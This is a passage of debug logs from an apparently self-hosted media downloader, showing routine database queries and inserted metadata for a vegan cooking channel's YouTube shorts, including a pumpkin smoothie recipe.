db=0.5ms queue=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:58.704 [debug] QUERY OK source="sources" db=0.5ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:58.706 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-15 16:35:00Z], 1] 20:26:58.708 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our newest episode on the channel we go over 3 remedies to help you battle or prevent any cold, even the dreaded Man Cold. Check out the full episode here: https://youtu.be/mzi8dQ_G4T0", "Is the Man Cold Real? 😱🥴#shorts #youtubeshorts", "20494b96-b456-47dc-aecd-f9120ba41a1c", 1, [], 15, false, "Cm05I-isDhE", "https://www.youtube.com/shorts/Cm05I-isDhE", 221, "/downloads/downloads/alec/Steamy Vegan/2022-10-15 Is the Man Cold Real? 😱🥴#shorts #youtubeshorts/Is the Man Cold Real? 😱🥴#shorts #youtubeshorts [Cm05I-isDhE].NA", false, false, true, 0, ~U[2022-10-15 16:35:00Z], ~U[2026-03-22 03:26:58Z], ~U[2026-03-22 03:26:58Z], "In our newest episode on the channel we go over 3 remedies to help you battle or prevent any cold, even the dreaded Man Cold. Check out the full episode here: https://youtu.be/mzi8dQ_G4T0", "Is the Man Cold Real? 😱🥴#shorts #youtubeshorts", 1, 15, false, "Cm05I-isDhE", "https://www.youtube.com/shorts/Cm05I-isDhE", "/downloads/downloads/alec/Steamy Vegan/2022-10-15 Is the Man Cold Real? 😱🥴#shorts #youtubeshorts/Is the Man Cold Real? 😱🥴#shorts #youtubeshorts [Cm05I-isDhE].NA", true, ~U[2022-10-15 16:35:00Z]] 20:26:58.709 [debug] QUERY OK source="sources" db=0.4ms idle=581.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:58.709 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:58.710 [debug] QUERY OK source="media_items" db=0.5ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [610] 20:26:58.710 [debug] Current batch of media processed. Will check again in 1000ms 20:26:59.711 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We taste test Yves vegan falafel balls in this video. Check out the full taste test video where we try 8 different vegan and gluten free appetizers for game day or any parties this season.\n\nFull Video: https://youtu.be/NyAnAMvdk0M", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-14 Tough Dry Balls #shorts #youtubeshorts/Tough Dry Balls #shorts #youtubeshorts [BoBzxR5kFNo].NA", "id" => "BoBzxR5kFNo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BoBzxR5kFNo", "playlist_index" => 222, "timestamp" => 1665759607, "title" => "Tough Dry Balls #shorts #youtubeshorts", "upload_date" => "20221014"} 20:26:59.712 [debug] QUERY OK source="sources" db=0.4ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:59.713 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:59.715 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-14 15:00:07Z], 1] 20:26:59.721 [debug] QUERY OK source="media_items" db=5.8ms idle=1004.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test Yves vegan falafel balls in this video. Check out the full taste test video where we try 8 different vegan and gluten free appetizers for game day or any parties this season.\n\nFull Video: https://youtu.be/NyAnAMvdk0M", "Tough Dry Balls #shorts #youtubeshorts", "005e496e-1d3c-40b4-8882-ddda98e5b1ae", 1, [], 15, false, "BoBzxR5kFNo", "https://www.youtube.com/shorts/BoBzxR5kFNo", 222, "/downloads/downloads/alec/Steamy Vegan/2022-10-14 Tough Dry Balls #shorts #youtubeshorts/Tough Dry Balls #shorts #youtubeshorts [BoBzxR5kFNo].NA", false, false, true, 1, ~U[2022-10-14 15:00:07Z], ~U[2026-03-22 03:26:59Z], ~U[2026-03-22 03:26:59Z], "We taste test Yves vegan falafel balls in this video. Check out the full taste test video where we try 8 different vegan and gluten free appetizers for game day or any parties this season.\n\nFull Video: https://youtu.be/NyAnAMvdk0M", "Tough Dry Balls #shorts #youtubeshorts", 1, 15, false, "BoBzxR5kFNo", "https://www.youtube.com/shorts/BoBzxR5kFNo", "/downloads/downloads/alec/Steamy Vegan/2022-10-14 Tough Dry Balls #shorts #youtubeshorts/Tough Dry Balls #shorts #youtubeshorts [BoBzxR5kFNo].NA", true, ~U[2022-10-14 15:00:07Z]] 20:26:59.721 [debug] QUERY OK source="sources" db=0.3ms idle=592.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:59.722 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:59.724 [debug] QUERY OK source="media_items" db=1.2ms idle=9.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [611] 20:26:59.724 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Pumpkin Spice Smoothie 🧡🎃😍 If you’re not ready to say farewell to summer then this little treat is for you 😌\n\nCreamy and chilly but still rockin’ the autumn vibes 🍂 SAVE THIS SMOOTHIE RECIPE FOR LATER! ✔️\n\nIngredients \n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup unsweetened soy or nondairy milk\n1/4 cup rolled oats\n3 soaked medjool dates, pitted\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin spice @itsblume \n1 frozen banana\nice cubes\nAdd all ingredients to a high-speed blender and blend until smooth and creamy. Sprinkle extra cinnamon or pumpkin pie spice on top if you want to be extra fancy pants 🧡\n\nFollow @steamyvegankitchen for more ridiculously delish and easy plant-based recipes! 🌿 \n\n#steamyvegankitchen #steamyvegan #pumpkinspiceseason #pumpkinspiceeverything #pumpkinspice #pumpkinspicerecipes #plantbased #eatplants #plantbasedvancouver #plantbaseddiet #plantbasedfood #plantbasedrecipes #breakfastinspo #healthyrecipes #healthybreakfast #healthybaking #healthybreakfastideas #veganyvr #veganfatloss #vancityvegans #veganfood #vancitybloggers #vancouverinfluencer #vegansofig", "duration" => 45, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-13 Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂/Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂 [oAinRaPcHFc].NA", "id" => "oAinRaPcHFc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/oAinRaPcHFc", "playlist_index" => 223, "timestamp" => 1665694832, "title" => "Pumpkin spice smoothie // healthy, easy and DELISH 🧡🎃🍂", "upload_date" => "20221013"} 20:26:59.725 [debug] QUERY OK source="sources" db=1.0ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:59.726 [debug] QUERY OK source="sources" db=0.2ms queue=0.4ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:59.728 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-13 21:00:32Z], 1] 20:26:59.732 [debug] QUERY OK source="media_items" db=2.5ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pumpkin Spice Smoothie 🧡🎃😍 If you’re not ready to say farewell to summer then this little treat is for you 😌\n\nCreamy and chilly but still rockin’ the autumn vibes 🍂 SAVE THIS SMOOTHIE RECIPE FOR LATER! ✔️\n\nIngredients \n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup unsweetened soy or nondairy milk\n1/4 cup rolled oats\n3 soaked medjool dates, pitted\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin spice @itsblume \n1 frozen banana\nice cubes\nAdd all ingredients to a high-speed blender and blend until smooth and creamy. Sprinkle extra cinnamon or pumpkin pie spice on top if you want to be extra fancy pants 🧡\n\nFollow @steamyvegankitchen for more ridiculously delish and easy plant-based recipes! 🌿 \n\n#steamyvegankitchen #steamyvegan #pumpkinspiceseason #pumpkinspiceeverything #pumpkinspice #pumpkinspicerecipes #plantbased #eatplants #plantbasedvancouver #plantbaseddiet #plantbasedfood #plantbasedrecipes #breakfastinspo #healthyrecipes #healthybreakfast #healthybaking #healthybreakfastideas #veganyvr #veganfatloss #vancityvegans #veganfood #vancitybloggers #vancouverinfluencer #vegansofig", "Pumpkin spice smoothie // healthy, easy and DELISH 🧡🎃🍂", "f4ab3b8f-4c74-404c-a900-4fa676aaca17", 1, [], 45, false, "oAinRaPcHFc", "https://www.youtube.com/shorts/oAinRaPcHFc", 223, "/downloads/downloads/alec/Steamy Vegan/2022-10-13 Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂/Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂 [oAinRaPcHFc].NA", false, false, true, 0, ~U[2022-10-13 21:00:32Z], ~U[2026-03-22 03:26:59Z], ~U[2026-03-22 03:26:59Z], "Pumpkin Spice Smoothie 🧡🎃😍 If you’re not ready to say farewell to summer then this little treat is for you 😌\n\nCreamy and chilly but still rockin’ the autumn vibes 🍂 SAVE THIS SMOOTHIE RECIPE FOR LATER! ✔️\n\nIngredients \n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup unsweetened soy or nondairy milk\n1/4 cup rolled oats\n3 soaked medjool dates, pitted\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin spice @itsblume \n1 frozen banana\nice cubes\nAdd all ingredients to a high-speed blender and blend until smooth and creamy. Sprinkle extra cinnamon or pumpkin pie spice on top if you want to be extra fancy pants 🧡\n\nFollow @steamyvegankitchen for more ridiculously delish and easy plant-based recipes! 🌿 \n\n#steamyvegankitchen #steamyvegan #pumpkinspiceseason #pumpkinspiceeverything #pumpkinspice #pumpkinspicerecipes #plantbased #eatplants #plantbasedvancouver #plantbaseddiet #plantbasedfood #plantbasedrecipes #breakfastinspo #healthyrecipes #healthybreakfast #healthybaking #healthybreakfastideas #veganyvr #veganfatloss #vancityvegans #veganfood #vancitybloggers #vancouverinfluencer #vegansofig", "Pumpkin spice smoothie // healthy, easy and DELISH 🧡🎃🍂", 1, 45, false, "oAinRaPcHFc", "https://www.youtube.com/shorts/oAinRaPcHFc", "/downloads/downloads/alec/Steamy Vegan/2022-10-13 Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂/Pumpkin spice smoothie ⧸⧸ healthy, easy and DELISH 🧡🎃🍂 [oAinRaPcHFc].NA", true, ~U[2022-10-13 21:00:32Z]] 20:26:59.732 [debug] QUERY OK source="sources" db=0.4ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:59.733 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:59.734 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [612] 20:26:59.734 [debug] Current batch of media processed. Will check again in 1000ms 20:27:00.436 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:00.735 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We taste test Simulate's plant based Nuggs to find out if plant based chicken nuggets taste as good as the real thing. Check out the full appetizer showdown video live on the channel now: https://youtu.be/NyAnAMvdk0M", "duration" => 28, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-13 How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts/How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts [5pO_V0odhQ0].NA", "id" => "5pO_V0odhQ0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/5pO_V0odhQ0", "playlist_index" => 224, "timestamp" => 1665684007, "title" => "How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts", "upload_date" => "20221013"} 20:27:00.736 [debug] QUERY OK source="sources" db=0.3ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:00.737 [debug] QUERY OK source="sources" db=0.6ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:00.739 [debug] QUERY OK source="media_items" db=1.9ms idle=1002.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-13 18:00:07Z], 1] 20:27:00.741 [debug] QUERY OK source="media_items" db=1.1ms idle=608.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test Simulate's plant based Nuggs to find out if plant based chicken nuggets taste as good as the real thing. Check out the full appetizer showdown video live on the channel now: https://youtu.be/NyAnAMvdk0M", "How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts", "a30e861c-2466-4d98-a167-332b9f1fa6b2", 1, [], 28, false, "5pO_V0odhQ0", "https://www.youtube.com/shorts/5pO_V0odhQ0", 224, "/downloads/downloads/alec/Steamy Vegan/2022-10-13 How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts/How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts [5pO_V0odhQ0].NA", false, false, true, 1, ~U[2022-10-13 18:00:07Z], ~U[2026-03-22 03:27:00Z], ~U[2026-03-22 03:27:00Z], "We taste test Simulate's plant based Nuggs to find out if plant based chicken nuggets taste as good as the real thing. Check out the full appetizer showdown video live on the channel now: https://youtu.be/NyAnAMvdk0M", "How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts", 1, 28, false, "5pO_V0odhQ0", "https://www.youtube.com/shorts/5pO_V0odhQ0", "/downloads/downloads/alec/Steamy Vegan/2022-10-13 How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts/How do plant based chicken nuggets taste? 😱 #shorts #youtubeshorts [5pO_V0odhQ0].NA", true, ~U[2022-10-13 18:00:07Z]] 20:27:00.742 [debug] QUERY OK source="sources" db=0.7ms idle=304.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:00.742 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:00.743 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN 